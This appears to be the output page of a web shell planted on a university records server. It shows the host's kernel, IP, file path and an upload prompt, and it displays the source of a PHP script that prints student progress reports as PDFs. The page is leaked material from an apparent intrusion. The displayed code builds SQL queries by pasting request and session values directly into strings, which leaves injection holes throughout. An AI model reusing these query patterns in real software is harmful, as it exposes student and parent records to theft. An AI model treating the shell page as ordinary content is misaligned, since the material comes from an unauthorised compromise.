0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.135.209.20


Current Path : /var/www/oasis/Report_details/
Upload File :
Current File : /var/www/oasis/Report_details/printIaMarks_old.php

<?php

function printIaMarks($aobj_context)
{	
	session_start();
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);  
   
    $degree_ = $aobj_context->mobj_data['degree'];
	$deg = explode(' - ', $degree_);
	$degree = $deg[0];
    $sem_ = $aobj_context->mobj_data["sem"];

    $seme = explode(' - ', $sem_);
    $sem = $seme[0];
    // var_dump($sem);
    // die();
   
    $fromregno = $aobj_context->mobj_data["fromreg"];
    $toregno = $aobj_context->mobj_data["toreg"];
    $college = $_SESSION['collcode'];
	
	$pdf_writer_class=$aobj_context->main_src."/tcpdf/tcpdf.php";
	
	include($pdf_writer_class);		
	$pdf= new TCPDF();
	$pdf->SetFont('Times','',10);

    $page_header_university = "select FUNIVNAME as 'FUNIVNAME',FUNIVCODE,
                                FUNIVADD1 as 'state', pdf_logo_path,
                                ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control";
	$lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university);

    $get_coll_name = "select fcollname as FCOLLNAME, ftown as FTOWN from college 
                      where fcollcode = '{$college}'";
    $res_coll_name = $aobj_context->mobj_db->GetRow($get_coll_name);  

    $db=$aobj_context->mobj_data["db"];  
    $img_path = $aobj_context->main_src .$db.'/'. $lobj_page_header_university['pdf_logo_path'];
    $FUNIVNAME = $lobj_page_header_university['FUNIVNAME'];
    $STATE = $lobj_page_header_university['state'];
    $COLLNAME = $res_coll_name['FCOLLNAME'];


    // $qrytest = "delete from progreport where fdegree = '{$degree}'
	// and fexamno = '{$sem}'
	// and fcollcode = '{$collcode}'
    // and fregno between '{$fromregno}' and '{$toregno}'";
	// $restest = $aobj_context->mobj_db->Execute($qrytest);





    // $querytest="select m.fregno, ifnull(m.fsubcode,'') as fsubcode,ifnull(s.fsubname,'') as fsubname,
    //     group_concat(concat(concat(s.fssubname))order by s.fssubcode separator '*') as sublist,
    //     GROUP_CONCAT(s.fssubname,'|',concat(right(concat(if(ifnull(m.fmarks,'-1.00') = '-1.00','0',m.fmarks)),9)) ORDER BY s.fssubcode ASC SEPARATOR '*') as markslist,
    //                         a1.attend,a1.conducted
    //                         from marks m inner join subject s on s.fcsubcode = m.fsubcode
    //                         and m.fdegree = s.fdegree and m.fexamno = s.fexamno  
    //                         inner join ( select a.fdegree,a.fcollcode,a.fregno,a.fsubcode,
    //                         a.fexamno,sum(fnoclass) as conducted, 
    //                         sum(if(fpresent = 'P',fnoclass,0)) as attend
    //                         From attend_det a where fregno between '{$value['fregno']}' and '{$value['fregno']}'
    //                         and fdegree = '{$degree}'
    //                         group by a.fregno,a.fsubcode) a1 on a1.fdegree = m.fdegree
    //                         and a1.fexamno = m.fexamno and a1.fregno = m.fregno  
    //                         and left(a1.fsubcode,4) = left(m.fsubcode,4)
    //                         where m.fregno between '{$value['fregno']}' and '{$value['fregno']}' 
    //                         and s.fdegree = '{$degree}'
    //                         and fintass = 'T' and s.fexamno='{$sem}' and a1.fcollcode = '{$college}'
    //                         group by s.fsubcode, m.fregno 
    //                         order by m.fregno,left(m.fsubcode,4)";



    // $testdata = $aobj_context->mobj_db->GetAll($querytest);


    // foreach ($testdata as $key => $value) { 

    // }
    
	
	$get_student_data = " select m.fregno, ifnull(m.fsubcode,'') as fsubcode,ifnull(s.fsubname,'') as fsubname,
                            group_concat(concat(right(concat(space(9),s.fssubname),9))order by s.fssubname separator '') as sublist,
                            GROUP_CONCAT(concat(right(concat(space(9),if(ifnull(m.fmarks,'-1.00') = '-1.00','0',m.fmarks)),9)) ORDER BY s.fssubname ASC
                            SEPARATOR '') as markslist,
                            a1.attend,a1.conducted
                            from marks m inner join subject s on s.fcsubcode = m.fsubcode
                            and m.fdegree = s.fdegree and m.fexamno = s.fexamno  
                            inner join ( select a.fdegree,a.fcollcode,a.fregno,a.fsubcode,
                            a.fexamno,sum(fnoclass) as conducted, 
                            sum(if(fpresent = 'P',fnoclass,0)) as attend
                            From attend_det a where fregno between '{$fromregno}' and '{$toregno}'
                            and fdegree = '{$degree}'
                            group by a.fregno,a.fsubcode) a1 on a1.fdegree = m.fdegree
                            and a1.fexamno = m.fexamno and a1.fregno = m.fregno  
                            and left(a1.fsubcode,4) = left(m.fsubcode,4)
                            where m.fregno between '{$fromregno}' and '{$toregno}' and s.fdegree = '{$degree}'
                            and fintass = 'T' and s.fexamno='{$sem}' and a1.fcollcode = '{$college}'
                            group by m.fregno ;
					   "; 
				  
	$lobj_get_student_data = $aobj_context->mobj_db->GetAll($get_student_data);

    foreach($lobj_get_student_data as $value){
        $qry_stud_det = "select s.fregno, s.fname, s.FFATNAME, s.fperadd1,  s.fperadd2, s.fperpin, s.ffatmob,
                     s.FEXAMNO, s.fsection, d.FEXAMNAME, concat(s.fpertaluk,' ',s.fperstate)as fperstate
                     from student s inner join degree d on s.fexamno = d.fexamno 
                     and s.fdegree = d.fdegree
                     where fregno = '{$value['fregno']}' group by s.fregno";
        $res_qry_stud_det = $aobj_context->mobj_db->GetRow($qry_stud_det); 
        
        $qry_sub = "select fssubname from subject 
        where fintass='T' and fretain = 'T' 
        and fexamno = '{$sem}'
        and fdegree ='{$degree}'  
        group by fssubname order by fssubcode";
        $res_qry_sub_det = $aobj_context->mobj_db->GetAll($qry_sub); 
        // var_dump($qry_sub);
        // die();

        $query="select m.fregno, ifnull(m.fsubcode,'') as fsubcode,ifnull(s.fsubname,'') as fsubname,
        group_concat(concat(concat(s.fssubname))order by s.fssubcode separator '*') as sublist,
        GROUP_CONCAT(s.fssubname,'|',concat(right(concat(if(ifnull(m.fmarks,'-1.00') = '-1.00','0',m.fmarks)),9)) ORDER BY s.fssubcode ASC SEPARATOR '*') as markslist,
                            a1.attend,a1.conducted
                            from marks m inner join subject s on s.fcsubcode = m.fsubcode
                            and m.fdegree = s.fdegree and m.fexamno = s.fexamno  
                            inner join ( select a.fdegree,a.fcollcode,a.fregno,a.fsubcode,
                            a.fexamno,sum(fnoclass) as conducted, 
                            sum(if(fpresent = 'P',fnoclass,0)) as attend
                            From attend_det a where fregno between '{$value['fregno']}' and '{$value['fregno']}'
                            and fdegree = '{$degree}'
                            group by a.fregno,a.fsubcode) a1 on a1.fdegree = m.fdegree
                            and a1.fexamno = m.fexamno and a1.fregno = m.fregno  
                            and left(a1.fsubcode,4) = left(m.fsubcode,4)
                            where m.fregno between '{$value['fregno']}' and '{$value['fregno']}' 
                            and s.fdegree = '{$degree}'
                            and fintass = 'T' and s.fexamno='{$sem}' and a1.fcollcode = '{$college}'
                            group by s.fsubcode, m.fregno 
                            order by m.fregno,left(m.fsubcode,4)";
                            // var_dump($query);
                            // die();
        $res = $aobj_context->mobj_db->GetAll($query);
        
    

        $pdf->AddPage('L');
        

        if (file_exists($img_path)) {
            $pdf->Image($img_path, 8, 5, 45, 20);
        }
        $pdf->SetFont('Times', 'B', 16);
        // $pdf->SetY(5);
        $pdf->Cell(0, 7, $FUNIVNAME, 0, 1, 'C');
        $pdf->SetFont('Times', '', 10);
        $pdf->Cell(0, 7, $STATE, 0, 1, 'C');
        $pdf->SetFont('Times', 'B', 12);
        $pdf->Cell(0, 7, $COLLNAME, 0, 1, 'C');
        $pdf->Cell(0, 7, 'Phone. No:  08258-281264', 0, 0, 'L');
        $pdf->Cell(0, 7, 'Date: '.date("d/m/Y"), 0, 1, 'R');
        $pdf->Cell(0, 7, "Progress Report", 0, 1, 'C');
        
        
        $pdf->SetFont('Times', '', 12);
        $fat_det = '<div style="line-height: 70%;">
                        <p>To</p>';
        $fat_det.='<p>'.strtoupper($res_qry_stud_det['FFATNAME']).'</p>';
        if($res_qry_stud_det['fperadd1']!==""){
            $fat_det.='<p>'.strtoupper($res_qry_stud_det['fperadd1']).'</p>';  
        }  

        if($res_qry_stud_det['fperadd2']!==""){
            $fat_det.='<p>'.strtoupper($res_qry_stud_det['fperadd2']).'</p>';  
        }
        if($res_qry_stud_det['fperstate']!==""){
            $fat_det.='<p>'.strtoupper($res_qry_stud_det['fperstate']).'</p>';
        }
        if($res_qry_stud_det['fperpin']!==""){
            $fat_det.='<p>'.strtoupper($res_qry_stud_det['fperpin']).'</p>';  
        }
        $fat_det.='</div>';
        $pdf->writeHTML($fat_det, true, true, true, true, '');        
        // var_dump($fat_det);

        $msg = '<div>
                <div>Dear Parent,</div>';   
        $msg .= '<div>The progress report of your ward Miss/Mr '.strtoupper($res_qry_stud_det['fname']).' - '.$res_qry_stud_det['fregno'].
                    ' studying in '.$res_qry_stud_det['FEXAMNAME'].' '.$res_qry_stud_det['fsection'].' Section is as shown below:</div>';
        // $msg .= '<p></p>';
        $msg .= '</div>';
        $pdf->writeHTML($msg, true, true, true, true, '');        
        $pdf->SetFont('Times', 'B', 10);	
        $pdf->Cell(7,4,'Sl.','LTR',0,'C');
        $pdf->Cell(70,4,'Subject','LTR',0,'C');	
        $subcnt = count($res_qry_sub_det);
        $headerarry = [];
        foreach($res_qry_sub_det as $key=>$value){									
            $pdf->Cell(20,4,$value['fssubname'],'LTR',0,'C');
            array_push($headerarry,$value['fssubname']);
        }
        $pdf->Cell(13,4,'Class','LTR',0,'C');										
        $pdf->Cell(13,4,'Class','LTR',1,'C');

        $pdf->Cell(7,4,'No.','LRB',0,'C');
        $pdf->Cell(70,4,'','LRB',0,'C');
        foreach($res_qry_sub_det as $key=>$value){									
            $pdf->Cell(20,4,'','LRB',0,'C');
        }

        $pdf->Cell(13,4,'Held','LRB',0,'C');										
        $pdf->Cell(13,4,'Attend','LRB',1,'C');										
        $pdf->SetFont('Times','',10);	
        $count=1;	
        foreach($res as $key => $value)
        {					
            $pdf->Cell(7,7,$count,'LRB',0,'C');			
            $pdf->Cell(70,7,$value['fsubname'],'LRB',0,'L');
            $a = 0;
            foreach(explode('*',$value['markslist']) as $re)
            {
                $redet = explode('|',$re);
                if($headerarry[$a] == $redet[0])
                    $pdf->Cell(20,7,$redet[1],'LRB',0,'C'); 
                else 
                    $pdf->Cell(20,7,'','LRB',0,'C'); 
               $a++;
            }

            if($a<$subcnt)
            {
                for($x = $a;$x<$subcnt;$x++)
                {
                    $pdf->Cell(20,7,"",'LRB',0,'C'); 
                }
            }
            // var_dump(explode('*',$value['markslist']));				
            // $pdf->Cell(85,7,$value['markslist'],'LRB',0,'L');
            $pdf->Cell(13,7,$value['conducted'],'LRB',0,'C');				
            $pdf->Cell(13,7,$value['attend'],'LRB',1,'C');
            $count++;
        }
        $pdf->ln(10);
        	
        $pdf->SetFont('Times', '', 12);
        $details = '<div style="line-height:80%">
                                 <p style="font-size: 13px;font-weight: bold;text-decoration: underline;">Please Note:-</p>
                        <p>1. The above attendance is as on: '.date("d/m/Y"). '.</p>
                        <p>2. As per the university norms students are expected to maintain atleast 85% attendance in each subject.</p>
                        <p>3. "*" indicates poor marks, "AB" absent for the tests, "#" attendance less than 85%,"!" attendance less than</p>
                        <p>   75%.</p>
                        <p>4. Please instruct your ward to improve her/his performance,You can track the performance of your ward by</p>
                        <p>   visiting our website <span><b>https://studentportal.universitysolutions.in/</b></span> or download uniclare app.</p>
                        <p>5. For any further queries, please contact the Head of the Department.</p>
                    </div>';
                    
        $pdf->writeHTML($details, true, true, true, true, '');
        $pdf->ln(13);
        $pdf->Cell(90,4,'Signature of HOD','',0,'L');
        $pdf->Cell(180,4,'Signature of Principal','',1,'R');

    }

    
	$pdf->Output("nitteIaMarks.pdf","I");
}
?>